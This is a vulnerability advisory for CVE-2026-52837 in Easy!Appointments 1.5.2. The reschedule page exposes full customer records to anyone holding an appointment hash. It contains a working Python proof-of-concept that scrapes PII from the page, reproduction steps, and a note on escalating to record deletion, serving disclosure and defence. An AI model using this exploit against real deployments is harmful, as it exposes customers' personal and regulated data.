alextselegidis/easyappointments
Affected
- introduced
0, last affected1.5.2(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-52837
Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
Summary
The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.
Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.
Details
Root cause
application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.
// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash'); // line 184
if (!empty($appointment_hash)) {
$manage_mode = true;
$results = $this->appointments_model->get(['hash' => $appointment_hash]);
// ...
$appointment = $results[0];
$provider = $this->providers_model->find($appointment['id_users_provider']);
$customer = $this->customers_model->find($appointment['id_users_customer']); // ← full row, no projection
$customer_token = md5(uniqid(mt_rand(), true));
$this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}
script_vars([
// ...
'customer_data' => $customer, // ← all PII inlined in HTML
'customer_token' => $customer_token,
]);
The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.
Source-to-Sink
/index.php/booking/reschedule/{appointment_hash} — unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.Fields disclosed
Confirmed in PoC output (canary values used as markers):
customer_data: {
"id": 4,
"first_name": "Victim",
"last_name": "Tester",
"email": "[email protected]",
"phone_number": "+1-555-0100",
"address": "100 Privacy Lane",
"city": "Sensitiveville",
"zip_code": "00001",
"timezone": "UTC",
"language": "english",
"custom_field_1": "CFLD1-CANARY",
"is_private": "0",
"ldap_dn": null,
"id_roles": 3
}
Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.
Proof of Concept
#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests
PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
"zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
"custom_field_4","custom_field_5","ldap_dn"]
def exploit(target, hash_):
url = f"{target}/index.php/booking/reschedule/{hash_}"
r = requests.get(url, timeout=15); r.raise_for_status()
m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
ea = json.loads(m.group(1))
customer = ea.get("customer_data") or {}
leaked = 0
for f in PII_FIELDS:
if customer.get(f) not in (None, "", 0):
print(f" {f:18s} = {customer[f]!r}"); leaked += 1
print(f"[+] disclosed {leaked} PII fields without auth")
return leaked
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("--target", default="http://localhost:8000")
p.add_argument("--hash", required=True)
a = p.parse_args()
sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)
Reproduction
docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).--seed helper does this automatically and prints the resulting hash). python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
email = '[email protected]'
phone_number = '+1-555-0100'
address = '100 Privacy Lane'
city = 'Sensitiveville'
zip_code = '00001'
custom_field_1 = 'CFLD1-CANARY'
[+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.
The PoC and its docker-compose reproduction environment are attached.
Impact
A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.
For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).
A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.
Medium Basis: The source's own band: MODERATE
0, last affected 1.5.2 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0